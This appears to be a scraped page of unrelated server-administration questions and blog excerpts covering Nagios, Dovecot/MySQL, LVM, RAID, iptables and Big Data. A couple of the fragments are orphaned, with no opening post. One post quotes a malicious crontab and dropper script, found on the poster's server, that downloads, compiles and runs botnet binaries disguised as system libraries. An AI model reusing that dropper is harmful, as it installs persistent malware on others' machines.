  • Nagios Creating lots of zombie process

    - by pradeepchhetri
    In my monitoring box, I have lots of zombie process created by nagios and they gets remove quickly also. I am using active checks to perform monitoring of my servers. I accumulated the defunct processes created using the following command: $ top -d 0.25 -b -n 20 > topout.txt This collected the output of top with 0.25s delay 20 times. I did grep on the topout.txt for the defunct process. $ cat topout.txt | grep defunct I get the following output. 8957 nagios 20 0 0 0 0 Z 6.0 0.0 0:00.02 nagios <defunct> 8951 nagios 20 0 0 0 0 Z 3.0 0.0 0:00.01 nagios <defunct> 8954 nagios 20 0 0 0 0 Z 3.0 0.0 0:00.01 nagios <defunct> 8945 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 8946 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 8980 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9000 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.00 nagios <defunct> 9024 nagios 20 0 0 0 0 Z 7.0 0.0 0:00.02 nagios <defunct> 9025 nagios 20 0 0 0 0 Z 3.5 0.0 0:00.01 nagios <defunct> 9040 nagios 20 0 0 0 0 Z 3.1 0.0 0:00.01 nagios <defunct> 9086 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9087 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9123 nagios 20 0 0 0 0 Z 6.1 0.0 0:00.02 nagios <defunct> 9126 nagios 20 0 0 0 0 Z 3.0 0.0 0:00.01 nagios <defunct> 9131 nagios 20 0 0 0 0 Z 3.0 0.0 0:00.01 nagios <defunct> 9091 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.05 nagios <defunct> 9111 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9119 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9118 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9151 nagios 20 0 0 0 0 Z 2.9 0.0 0:00.02 nagios <defunct> 9153 nagios 20 0 0 0 0 Z 2.9 0.0 0:00.02 nagios <defunct> 9150 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9164 nagios 20 0 0 0 0 Z 3.5 0.0 0:00.02 nagios <defunct> 9171 nagios 20 0 0 0 0 Z 3.5 0.0 0:00.02 nagios <defunct> 9154 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9156 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9163 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9167 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9178 nagios 20 0 0 0 0 Z 3.8 0.0 0:00.02 nagios <defunct> 9174 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9179 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> 9182 nagios 20 0 0 0 0 Z 0.0 0.0 0:00.01 nagios <defunct> Can somebody help me in finding out the reason of these zombie processes and how i can prevent these zombie processes ?

  • OpenNebula: [HostPoolInfo] User couldn't be authenticated, aborting call

    - by ulf
    I installed OpenNebula 3.2.1 following the guide found under http://opennebula.org/documentation:rel3.2:ignc on a Debian 6.0.4 machine. Everything seemed fine until trying to execute the command onevm list Then I always get this: oneadmin@opennebula-master:~$ onevm list [VirtualMachinePoolInfo] User couldn't be authenticated, aborting call. The file one_auth exists. I even gave the oneadmin user a password although it doesn't seem to be required according to the guide. I copied the password hash from /etc/shadow to the one_auth file. Still no success. Any ideas are appreciated.

  • Is SecureShellz bot a virus? How does it work?

    I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd [...] http://stablehost.us/bots/regular.bot contents are: #!/bin/sh if [ $(whoami) = "root" ]; then echo y|yum install perl-libwww-perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make echo y|apt-get install libwww-perl apt-get install libio-socket-ssl-perl openssl-devel zlib1g-dev gcc make pkg_add -r wget;pkg_add -r perl;pkg_add -r gcc wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1 wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2 exit 1 fi wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_ I cannot contact the sysadmin for various reasons, so I cannot ask infos about this to him. It seems to me this script downloads some remote C source codes and binaries, compile them and execute them. I am a web developer, so I am not an expert about C language, but watching at the downloaded files it seems to me a bot injected in the cron of the server. Can you give me more infos about what this code does? About its working, its purposes?

  • LVM mirror attempt results in "Insufficient free space"

    - by MattK
    Attempting to add a disk to mirror an LVM volume on CentOS 7 always fails with "Insufficient free space: 1 extents needed, but only 0 available". Having searched for a solution, I have tried specifying disks, multiple logging options, adding 3rd log partition, but have not found a solution Not sure if I am making a rookie mistake, or there is something more subtle wrong (I am more familiar with ZFS, new to using LVM): # lvconvert -m1 centos_bi/home Insufficient free space: 1 extents needed, but only 0 available # lvconvert -m1 --corelog centos_bi/home Insufficient free space: 1 extents needed, but only 0 available # lvconvert -m1 --corelog --alloc anywhere centos_bi/home Insufficient free space: 1 extents needed, but only 0 available # lvconvert -m1 --mirrorlog mirrored --alloc anywhere centos_bi/home /dev/sda2 Insufficient free space: 1 extents needed, but only 0 available # lvconvert -m1 --corelog --alloc anywhere centos_bi/home /dev/sdi2 /dev/sda2 Insufficient free space: 1 extents needed, but only 0 available The two disks are of the same size, and have identical partition layouts via "sfdisk -d /dev/sdi part_table; sfdisk /dev/sda < part_table".

  • Bargain Hunter Round Up – Kicking Off The E-Commerce Holiday Season

    - by Jeri Kelley
    Everyone has a different way to tackle holiday shopping – Black Friday, Small Business Saturday, Cyber Monday, some have it done months in advance, and others wait until the very last minute.   For me, I’m not big into massive crowds so online shopping to the rescue.   Others thrive on the energy of being in the stores on the busiest shopping day of the year.  With last weekend marking the official kick-off to the holiday season, I thought I’d provide a round up of what’s trending:   Online numbers are looking up: According to comScore, for the holiday season-to-date, $16.4 billion has been spent online, marking a 16-percent increase versus the corresponding days last year. Thanksgiving Day – Why wait until Black Friday or Cyber Monday: Online shopping on Thanksgiving Day also increased, totaling $633 million in receipts, a 32 percent increase over Thanksgiving 2011 Black Friday – More than just in-store: Bargain hunters spent $1.042 billion online the day after Thanksgiving, a 26 percent increase of last year's Black Friday, according to new figures released today by market analyst ComScore Cyber Monday Week: Cyber Monday reached $1.465 billion in online spending, up 17 percent versus year ago, representing the heaviest online spending day in history and the second day this season (in addition to Black Friday) to surpass $1 billion in sales                 Cyber Monday is now being dubbed Cyber Week:  “The annual event is increasingly becoming Cyber Week instead of a one-day event as retailers open their arms for Americans who prefer to avoid crowds and compare prices online.” But, Cyber Monday continues its importance, driving a nearly 22% increase in year-over-year (YoY) online sales. Monday sales beat Sunday, the next highest day by a margin of 26.7%. Mobile shopping continues to rise: ChannelAdvisor that said mobile shopping made up 32% of all online spending over the Black Friday weekend Mobile devices were a key part of the online shopping craziness that was November 26th.  Sales from smartphones and tablets doubled this year. I n tablets the growth was 110% and in smartphones - 100% Mobile bar code scans on Black Friday increased 50 percent, according to a report from ScanLife For more on how you can be ready for the holiday season, check out my blog post on commerce strategies for the holidays.

  • Redhat Software RAID 1 not syncing

    - by hamstar
    Hey guys, I setup a software RAID 1 on a Redhat server, everything went sweet and it synced the first time. The other day the raid failedover for some reason and the disks hadn't been syncing since that first time, so it went back to 2 weeks ago when we did the first sync. We got the system back up running off the master only. However what would cause the software raid to not sync? I used mdadm to setup the RAID. Any ideas? EDIT: Sorry I don't have the output from /proc/mdstat before the raid failedover, it is now running on only the master... I can put the slave back in no problems but I was wondering how to make it sync all the time instead of only when I add it.

So my question is: is there some "normal" one repository that have all basic thing like firefox and so that I will insert to this file and all will work fine? Thank you very much for ahead.

  • How to deecode your ODI encoded password in SDK

    - by tina.wang
    Someone asked me he want to use SDK to create ODI repository, but latest 11g API in SDK use plain password parameter. But he don't want to use plain text for security reason. So he want to transfer an encoded password, then decode it inside his code. He ask me whether there is a way.  After some investigating, I find com.sunopsis.dwg.DwgObject class has a static method snpsDecypher(String), it can satisfy his requirement. But seems this method is deprecated, I am trying to find the new replaced method.

  • CentOS 5.5 : Postfix, Dovecot & MySQL

    - by GruffTech
    I'm hoping someone has seen this issue before because I'm at quite a loss. We're building a new outbound smtp server for our clients that features anti-spam scanning and virus scanning for outbound emails, something we had not previously done. So with CentOS 5.5 x64, Installed and patched completely. Postfix & Dovecot both installed via base repo. [grufftech@outgoing postfix]# rpm -qa | grep postfix postfix-2.3.3-2.1.el5_2 [grufftech@outgoing postfix]# rpm -qa | grep dovecot dovecot-1.0.7-7.el5 [grufftech@outgoing ~]# dovecot --build-options Build options: ioloop=poll notify=inotify ipv6 openssl SQL drivers: mysql postgresql Passdb: checkpassword ldap pam passwd passwd-file shadow sql Userdb: checkpassword ldap passwd prefetch passwd-file sql static /etc/dovecot.conf auth default { mechanisms = plain login digest-md5 cram-md5 passdb sql { args = /etc/dovecot-mysql.conf } userdb sql { args = /etc/dovecot-mysql.conf } userdb prefetch { } user = nobody socket listen { master { path = /var/run/dovecot/auth-master mode = 0660 user = postfix group = postfix } client { path = /var/spool/postfix/private/auth mode = 0660 user = postfix group = postfix } } } All the server is doing is auth for postfix, so no reason to have imap / pop / dict. /etc/dovecot-mysql.conf driver = mysql connect = host=10.0.32.159 dbname=mail user=****** password=******** default_pass_scheme = plain user_query = select 1 password_query = select password from users where username = '%n' and domain = '%d' So drop in my configuration, (which is working on another server identical to this one.) [grufftech@outgoing ~]# /etc/init.d/dovecot start Starting Dovecot Imap: [ OK ] Sweet. Booted up nicely, thats good.... (incoming problem in 3....2....1....) May 21 08:09:01 outgoing dovecot: Dovecot v1.0.7 starting up May 21 08:09:02 outgoing dovecot: auth-worker(default): mysql: Connect failed to 10.0.32.159 (mail): Can't connect to MySQL server on '10.0.32.159' (13) - waiting for 1 seconds before retry well what the crap. went and checked permissions on my MySQL database, and its fine. [grufftech@outgoing ~]# mysql vpopmail -h 10.0.32.159 -u ****** -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 127828558 Server version: 4.1.22 Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql>\q So! My server can talk to my database server. but dovecot, for whatever reason, isn't able to. I've fiddled with it for the last six hours, grabbed slightly-older copies of the RPM (ones that matched our production server exactly) to test those, copied configs, searched google, searched server fault, chatted in IRC, banged my head against the table, I've done it all. Surely I'm doing something wrong or forgetting something, can anyone tell me what the elephant in the room is? This stuff is supposed to work.

  • Dual NIC Networking CentOS 5.3 (losing connection)

    - by Toymakerii
    I have a CentOS System with two NICs on it. One is Ethernet the other is Wireless. The Ethernet has an address of 192.168.1.110 and is tied to a LAN. (The LAN provides DHCP and DNS for its domain of 192.168.1.*) The Wireless card should have an address of 131.238.. and is tied to the WAN. For some evil reason, I can get the WAN to work for a short amount of time then it suddenly dies. I have to turn on/off the connection to get it to work again. Any suggestions?

I'm not using .htaccess files but I have been doing some copy on the server so may have messed things up but no changes to this domain (unless by accident!). What is this pcfg_openfile thing anyway? Done lots of googleing but none of the solutions seemed to fit these circumstances. Server is ubuntu Hardy Heron.

  • The Business case for Big Data

    - by jasonw
    The Business Case for Big Data Part 1 What's the Big Deal Okay, so a new buzz word is emerging. It's gone beyond just a buzzword now, and I think it is going to change the landscape of retail, financial services, healthcare....everything. Let me spend a moment to talk about what i'm going to talk about. Massive amounts of data are being collected every second, more than ever imaginable, and the size of this data is more than can be practically managed by today’s current strategies and technologies. There is a revolution at hand centering on this groundswell of data and it will change how we execute our businesses through greater efficiencies, new revenue discovery and even enable innovation. It is the revolution of Big Data. This is more than just a new buzzword is being tossed around technology circles.This blog series for Big Data will explain this new wave of technology and provide a roadmap for businesses to take advantage of this growing trend. Cases for Big Data There is a growing list of use cases for big data. We naturally think of Marketing as the low hanging fruit. Many projects look to analyze twitter feeds to find new ways to do marketing. I think of a great example from a TED speech that I recently saw on data visualization from Facebook from my masters studies at University of Virginia. We can see when the most likely time for breaks-ups occurs by looking at status changes and updates on users Walls. This is the intersection of Big Data, Analytics and traditional structured data. Ted Video Marketers can use this to sell more stuff. I really like the following piece on looking at twitter feeds to measure mood. The following company was bought by a hedge fund. They could predict how the S&P was going to do within three days at an 85% accuracy. Link to the article Here we see a convergence of predictive analytics and Big Data. So, we'll look at a lot of these business cases and start talking about what this means for the business. It's more than just finding ways to use Hadoop + NoSql and we'll talk about that too. How do I start in Big Data? That's what is coming next post.

  • L2TP iptables port forward

    - by The_cobra666
    Hi all, I'm setting up port forwarding for an L2TP VPN connection to the local Windows 2003 VPN server. The router is a simpel Debian machine with iptables. The VPN server works perfect. But I cannot log in from the WAN. I'm missing something. The VPN server is using a pre-shared key (L2TP) and give's out an IP in the range: 192.168.3.0. Local network range is 192.168.2.0/24 I added the route: with route add -net 192.168.3.0 netmask 255.255.255.240 gw 192.168.2.13 (the vpn server) iptables -t nat -A PREROUTING -p udp --dport 1701 -i eth0 -j DNAT --to 192.168.2.13 iptables -A FORWARD -p udp --dport 1701 -j ACCEPT iptables -t nat -A PREROUTING -p udp --dport 500 -i eth0 -j DNAT --to 192.168.2.13 iptables -A FORWARD -p udp --dport 500 -j ACCEPT iptables -t nat -A PREROUTING -p udp --dport 4500 -i eth0 -j DNAT --to 192.168.2.13 iptables -A FORWARD -p udp --dport 4500 -j ACCEPT iptables -t nat -A PREROUTING -p 50 -j DNAT --to 192.168.2.13 iptables -A FORWARD -p 50 -j ACCEPT iptables -t nat -A PREROUTING -p 51 -j DNAT --to 192.168.2.13 iptables -A FORWARD -p 51 -j ACCEPT The whole iptables script is (without the line's from above): echo 1 > /proc/sys/net/ipv4/ip_forward echo 1 > /proc/sys/net/ipv4/tcp_syncookies #Flush table's iptables -F INPUT iptables -F OUTPUT iptables -F FORWARD iptables -t nat -F #Drop traffic iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT ACCEPT #verkeer naar buiten toe laten en nat aanzetten iptables -A FORWARD -i eth0 -o eth1 -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A FORWARD -i eth1 -o eth0 -j ACCEPT iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE #RDP forward voor windows servers iptables -t nat -A PREROUTING -p tcp --dport 3389 -i eth0 -j DNAT --to 192.168.2.10:3389 iptables -A FORWARD -p tcp --dport 3389 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 3340 -i eth0 -j DNAT --to 192.168.2.12:3340 iptables -A FORWARD -p tcp --dport 3340 -j ACCEPT #toestaan SSH verkeer iptables -t nat -A PREROUTING -p tcp --dport 22 -i eth0 -j DNAT --to-destination 192.168.2.1 iptables -A INPUT -p tcp --dport 22 -j ACCEPT #toestaan verkeer loopback iptables -A INPUT -i lo -j ACCEPT #toestaan lokaal netwerk iptables -A INPUT -i eth1 -j ACCEPT #accepteren established traffic iptables -A INPUT -i eth0 --match state --state RELATED,ESTABLISHED -j ACCEPT #droppen ICMP boodschappen iptables -A INPUT -p icmp -i eth0 -m limit --limit 10/minute -j ACCEPT iptables -A INPUT -p icmp -i eth0 -j REJECT ifconfig eth1 192.168.2.1/24 ifconfig eth0 XXXXXXXXXXXXX/30 ifconfig eth0 up ifconfig eth1 up route add default gw XXXXXXXXXXXXXXXXXXX route add -net 192.168.3.0 netmask 255.255.255.240 gw 192.168.2.13

  • Differences in classic setup for Apache on Debian

    - by Elena
    Hello everybody, I recently inherited an application which uses Apache on a Debian 5 installation. I am a begginer in Apache and would have a wory since I understand that the Debian setup of Apache is not quite the classical one. I found this page which describes some differences but wondered if there are some other "gotcha"s that I should be aware of. Is that page exhaustive in explaining the differences or are there others? Thank you!

  • Extended JMS Support

    - by ACShorten
    In a previous post I discussed the real time JMS integration we added in FW4.1 and also as patches for FW2.2. There are some additional aspects of this integration I did not mention which may be of interest: JMS Topic Support - In the post I concentrated on talking about JMS Queue support but failed to mention that the MDB and outgoing real time JMS also supports JMS Topics. JMS Queues are typically used for point to point decoupled integration and JMS Topics are used for hub integration that uses Publish and Subscribe. JMS Selector Support - By default the MDB will process every message from a JMS resource (Queue or Topic). If you want to alter this behaviour to selectively filter JMS messages then you can use JMS Selectors to specify the conditions for the MDB to selectively process JMS messages based upon conditions. JMS Selectors allow filters to be specified on elements in the JMS Header and JMS Message Properties using SQL like syntax. Note: JMS Selectors do not support filters on the body elements. JMS Header Support - It is possible to place custom information in the JMS Header and JMS Message Properties for outgoing messages (so that other applications can use JMS selectors if necessary as well). This is only available when installing Patches 11888040 (FW4.1) and 11850795 (FW2.2). These facilities coupled with the JMS facilities described in the previous posts gives the product integration capabilities in JMS which can be used with configuration rather than coding. Of course, the JMS facility I have described can also be used in conjunction with SOA Suite to provide greater levels of traceability and management.

  • Parameter _rollback_segment_count can cause trouble

    - by Mike Dietrich
    Just some weeks ago we've learned that setting the hidden underscore parameter: _rollback_segment_count may cause trouble during upgrade. This parameter is used in very rare cases to have under all circumstances and situations this specified number of UNDO's online. Now during upgrade this may result in massive latch contention due to bug14226559 - and there's a patch available as well. Recommendation is to unset it during upgrade. I don't think that many people will hit this as I personally haven't seen databases with this underscore in their init.ora or spfiles. So take this post more or less as a reminder for myself
